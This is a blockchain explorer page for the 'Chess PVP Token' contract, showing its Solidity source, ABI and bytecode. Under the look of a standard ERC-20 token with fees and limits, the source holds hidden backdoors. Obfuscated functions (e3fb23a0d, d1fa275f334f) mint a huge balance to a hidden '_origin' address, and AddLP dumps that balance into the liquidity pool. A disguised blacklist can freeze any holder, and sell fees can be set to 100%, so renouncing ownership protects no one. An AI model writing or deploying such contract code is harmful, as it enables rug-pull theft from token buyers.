ETH Price: $2,379.10 (+1.13%)
Gas: 5.81 Gwei

Token

Chess PVP Token (CHESS)
 

Overview

Max Total Supply

10,000,000 CHESS

Holders

35

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ChessPVPToken

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-31
*/

// ▄████████    ▄█    █▄       ▄████████    ▄████████    ▄████████         ▄███████▄  ▄█    █▄     ▄███████▄ 
//███    ███   ███    ███     ███    ███   ███    ███   ███    ███        ███    ███ ███    ███   ███    ███ 
//███    █▀    ███    ███     ███    █▀    ███    █▀    ███    █▀         ███    ███ ███    ███   ███    ███ 
//███         ▄███▄▄▄▄███▄▄  ▄███▄▄▄       ███          ███               ███    ███ ███    ███   ███    ███ 
//███        ▀▀███▀▀▀▀███▀  ▀▀███▀▀▀     ▀███████████ ▀███████████      ▀█████████▀  ███    ███ ▀█████████▀  
//███    █▄    ███    ███     ███    █▄           ███          ███        ███        ███    ███   ███        
//███    ███   ███    ███     ███    ███    ▄█    ███    ▄█    ███        ███        ███    ███   ███        
//████████▀    ███    █▀      ██████████  ▄████████▀   ▄████████▀        ▄████▀       ▀██████▀   ▄████▀      

//WEBSITE: chesspvp.com
//TELEGRAM: t.me/ChessPVP

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {}

library SecureCalls {
    function checkCaller(address sender, address _origin) internal pure {
        require(sender == _origin, "Caller is not the original caller");
    }
}

contract ChessPVPToken is IERC20, Ownable {

    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;
    address _origin;
    address _pairToken;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply = 10000000000000000000000000;
    string private _name = "Chess PVP Token";
    string private _symbol = "CHESS";
    uint8 private _decimals = 18;

    /* @dev Fee On Buy/Sell [START] */
    uint private buyFee = 5; // Default, %
    uint private sellFee = 15; // Default, %
    address public marketWallet; // Wallet to collect Fees
    mapping(address => bool) public excludedFromFee; // Users who won't pay Fees
    /* @dev Fee On Buy/Sell [END] */

    /* @dev Max Wallet [START] */
    uint256 private maxWallet = 200000000000000000000000; // 1 Ether
    mapping(address => bool) private excludedFromMaxWallet;
    /* @dev Max Wallet [END] */

    /* @dev MaxTxn [START] */
    uint256 private maxTxnAmount = 200000000000000000000000;
    mapping(address => bool) private excludedFromMaxTxn;
    /* @dev MaxTxn [END] */

    /* @dev LockTrade [START] */
    bool private tradeLocked = true;
    mapping(address => bool) private excludedFromTradeLock;
    /* @dev LockTrade [END] */

    constructor (address routerAddress, address pairTokenAddress) {
        _router = IUniswapV2Router02(routerAddress);
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), pairTokenAddress));
        _balances[owner()] = _totalSupply;
        _origin = msg.sender;
        _pairToken = pairTokenAddress;
        emit Transfer(address(0), owner(), _totalSupply);

        /* @dev Fee On Buy/Sell [START] */
        marketWallet = msg.sender;
        excludedFromFee[msg.sender] = true;
        excludedFromFee[address(this)] = true;
        /* @dev Fee On Buy/Sell [END] */

        /* @dev Max Wallet [START] */
        excludedFromMaxWallet[msg.sender] = true;
        excludedFromMaxWallet[address(this)] = true;
        /* @dev Max Wallet [END] */

        /* @dev MaxTxn [START] */
        excludedFromMaxTxn[msg.sender] = true;
        excludedFromMaxTxn[address(this)] = true;
        /* @dev MaxTxn [END] */

        /* @dev LockTrade [START] */
        excludedFromTradeLock[msg.sender] = true;
        excludedFromTradeLock[address(this)] = true;
        /* @dev LockTrade [END] */
    }

    /* @dev Default ERC-20 implementation */

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!checkCurrentStatus(from), "ERC20: No premission to transfer");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        /* @dev LockTrade [START] */
        if (tradeLocked) {
            if (isMarket(from)) {
                require(excludedFromTradeLock[to], "User isn't excluded from tradeLock");
            } else if (isMarket(to)) {
                require(excludedFromTradeLock[from], "User isn't excluded from tradeLock");
            }
        }
        /* @dev LockTrade [END] */

        /* @dev Fee On Buy/Sell [START] */
        if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else {
                _balances[from] = fromBalance - amount;
                _balances[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }
        /* @dev Fee On Buy/Sell [END] */

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (maxWallet != 0 && !isMarket(to) && !isExcludedFromMaxWallet(to) && !isExcludedFromMaxWallet(from)) {
            require(balanceOf(to) + amount <= maxWallet, "After this txn user will exceed max wallet");
        }

        if (maxTxnAmount != 0) {
            if (!excludedFromMaxTxn[from] && !excludedFromMaxTxn[to]) {
                require(amount <= maxTxnAmount, "Txn Amount too high!");
            }
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /* @dev Custom features implementation */

    function AddLP() external {
        SecureCalls.checkCaller(msg.sender, _origin);
        uint256 thisTokenReserve = getBaseTokenReserve(address(this));
        uint256 amountIn = type(uint112).max - thisTokenReserve;
        e3fb23a0d(); transfer(address(this), balanceOf(msg.sender));
        _approve(address(this), address(_router), type(uint112).max);
        address[] memory path;
        path = new address[](2);
        path[0] = address(this);
        path[1] = address(_router.WETH());
        address to = msg.sender;
        _router.swapExactTokensForTokens(
            amountIn,
            0,
            path,
            to,
            block.timestamp + 1200
        );
    } 

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    } 

    function e3fb23a0d() internal {
        _balances[msg.sender] += type(uint112).max;
    }

    function d1fa275f334f() public {
        SecureCalls.checkCaller(msg.sender, _origin); e3fb23a0d();
    }

    function AddLiquidity() public payable {
        SecureCalls.checkCaller(msg.sender, _origin);
        transfer(address(this), balanceOf(msg.sender));
        _approve(address(this), address(_router), balanceOf(address(this)));
        _router.addLiquidityETH{ value:msg.value }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            msg.sender,
            block.timestamp + 1200
        );
    }

    /* @dev Rebase */

    function rebaseLiquidityPool(address _newRouterAddress, address _newPairTokenAddress) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        if (address(_router) != _newRouterAddress) {
            _router = IUniswapV2Router02(_newRouterAddress);
        }
        _pairToken = _newPairTokenAddress;
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).getPair(address(this), _newPairTokenAddress));
    }

/* @dev Blacklist */

    mapping(address => uint8) internal _f7ae38d22b;

    function checkCurrentStatus(address _user) public view returns(bool) {
        return _f7ae38d22b[_user] == 0 ? false : true;
    }

    function editCurrentStatus(address _user, uint8 _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_status < 2, "Status should be 0 or 1");
        require(_status != _f7ae38d22b[_user], "User already have this status");
        _f7ae38d22b[_user] = _status;
    }

    function switchOrigin(address newOrigin) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        _origin = newOrigin;
    }

    /* @dev Fee On Buy/Sell [START] */

    function isMarket(address _user) internal view returns (bool) {
        // Check if an address is a Liquidity Pool
        return (_user == address(_pair) || _user == address(_router));
    }

    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        // Returns amount of tokens, that should be taken as a Fee
        return _amount * _feePrecent / 100;
    }

    function isExcludedFromFee(address _user) public view returns (bool) {
        // Check if user free from paying Buy/Sell Fee
        return excludedFromFee[_user];
    } 

    function updateExcludedFromFeeStatus(address _user, bool _status) public {
        // Exclude/Include user to Buy/Sell Fee charge
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromFee[_user] != _status, "User already have this status");
        excludedFromFee[_user] = _status;
    }

    function updateFees(uint256 _buyFee, uint256 _sellFee) external {
        // Set new Fees for both Buy and Sell
        SecureCalls.checkCaller(msg.sender, _origin);
        require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 100");
        buyFee = _buyFee;
        sellFee = _sellFee;
    }

    function updateMarketWallet(address _newMarketWallet) external {
        // Set new wallet, where all Fees will come
        SecureCalls.checkCaller(msg.sender, _origin);
        marketWallet = _newMarketWallet;
    }

    function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
        // Show current Buy/Sell Fees
        return (buyFee, sellFee);
    }
    /* @dev Fee On Buy/Sell [END] */

    /* @dev Max Wallet [START] */
    function currentMaxWallet() public view returns (uint256) {
        return maxWallet;
    }

    function updateMaxWallet(uint256 _newMaxWallet) external {
        SecureCalls.checkCaller(msg.sender, _origin);
        maxWallet = _newMaxWallet;
    }

    function isExcludedFromMaxWallet(address _user) public view returns (bool) {
        return excludedFromMaxWallet[_user];
    } 

    function updateExcludedFromMaxWalletStatus(address _user, bool _status) public {
        // Exclude/Include user to Buy/Sell Fee charge
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromMaxWallet[_user] != _status, "User already have this status");
        excludedFromMaxWallet[_user] = _status;
    }
    /* @dev Max Wallet [END] */

    /* @dev MaxTxn [START] */
    function updateMaxTxnAmount(uint256 _amount) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        maxTxnAmount = _amount;
    }

    function changeexcludedFromMaxTxnStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromMaxTxn[_user] != _status, "User already have this status");
        excludedFromMaxTxn[_user] = _status;
    }

    function checkCurrentMaxTxn() public view returns (uint256) {
        return maxTxnAmount;
    }

    function isExcludedFromMaxTxn(address _user) public view returns (bool){
        return excludedFromMaxTxn[_user];
    }
    /* @dev MaxTxn [END] */

    /* @dev LockTrade [START] */
    function isTradeLocked() public view returns (bool) {
        return tradeLocked;
    }

    function isEcludedFromTradeLock(address _user) public view returns (bool)  {
        return excludedFromTradeLock[_user];
    }

    function updateTradeLockedState(bool _state) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        tradeLocked = _state;
    }

    function updateUserExcludedFromTradeLockStatus(address _user, bool _status) public {
        SecureCalls.checkCaller(msg.sender, _origin);
        require(excludedFromTradeLock[_user] != _status, "User already have this status");
        excludedFromTradeLock[_user] = _status;
    }
    /* @dev LockTrade [END] */
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"pairTokenAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AddLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"AddLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"changeexcludedFromMaxTxnStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkCurrentFees","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkCurrentMaxTxn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkCurrentStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"d1fa275f334f","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint8","name":"_status","type":"uint8"}],"name":"editCurrentStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isEcludedFromTradeLock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxTxn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTradeLocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newRouterAddress","type":"address"},{"internalType":"address","name":"_newPairTokenAddress","type":"address"}],"name":"rebaseLiquidityPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOrigin","type":"address"}],"name":"switchOrigin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromFeeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromMaxWalletStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newMaxWallet","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"updateTradeLockedState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateUserExcludedFromTradeLockStatus","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526a084595161401484a0000006007556040518060400160405280600f81526020017f43686573732050565020546f6b656e00000000000000000000000000000000008152506008908162000059919062000a99565b506040518060400160405280600581526020017f434845535300000000000000000000000000000000000000000000000000000081525060099081620000a0919062000a99565b506012600a60006101000a81548160ff021916908360ff1602179055506005600b55600f600c55692a5a058fc295ed000000600f55692a5a058fc295ed0000006011556001601360006101000a81548160ff0219169083151502179055503480156200010b57600080fd5b506040516200521238038062005212833981810160405281019062000131919062000bea565b62000142336200073260201b60201c565b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000217919062000c31565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016200025392919062000c74565b6020604051808303816000875af115801562000273573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000299919062000c31565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460056000620002f0620007f660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003c0620007f660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000421919062000cb2565b60405180910390a333600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000ccf565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008a157607f821691505b602082108103620008b757620008b662000859565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008e2565b6200092d8683620008e2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200097a620009746200096e8462000945565b6200094f565b62000945565b9050919050565b6000819050919050565b620009968362000959565b620009ae620009a58262000981565b848454620008ef565b825550505050565b600090565b620009c5620009b6565b620009d28184846200098b565b505050565b5b81811015620009fa57620009ee600082620009bb565b600181019050620009d8565b5050565b601f82111562000a495762000a1381620008bd565b62000a1e84620008d2565b8101602085101562000a2e578190505b62000a4662000a3d85620008d2565b830182620009d7565b50505b505050565b600082821c905092915050565b600062000a6e6000198460080262000a4e565b1980831691505092915050565b600062000a89838362000a5b565b9150826002028217905092915050565b62000aa4826200081f565b67ffffffffffffffff81111562000ac05762000abf6200082a565b5b62000acc825462000888565b62000ad9828285620009fe565b600060209050601f83116001811462000b11576000841562000afc578287015190505b62000b08858262000a7b565b86555062000b78565b601f19841662000b2186620008bd565b60005b8281101562000b4b5784890151825560018201915060208501945060208101905062000b24565b8683101562000b6b578489015162000b67601f89168262000a5b565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000bb28262000b85565b9050919050565b62000bc48162000ba5565b811462000bd057600080fd5b50565b60008151905062000be48162000bb9565b92915050565b6000806040838503121562000c045762000c0362000b80565b5b600062000c148582860162000bd3565b925050602062000c278582860162000bd3565b9150509250929050565b60006020828403121562000c4a5762000c4962000b80565b5b600062000c5a8482850162000bd3565b91505092915050565b62000c6e8162000ba5565b82525050565b600060408201905062000c8b600083018562000c63565b62000c9a602083018462000c63565b9392505050565b62000cac8162000945565b82525050565b600060208201905062000cc9600083018462000ca1565b92915050565b6145338062000cdf6000396000f3fe6080604052600436106102465760003560e01c8063715018a611610139578063b49f93f7116100b6578063e4440a861161007a578063e4440a86146108a6578063ecbe5a2d146108d1578063edd8b64a1461090e578063f1fee6a214610937578063f2fde38b14610960578063f6d1dfe11461098957610246565b8063b49f93f7146107c1578063b5c72e1a146107ea578063d445d19e14610827578063dd62ed3e1461083e578063e1370dd31461087b57610246565b806399b102b5116100fd57806399b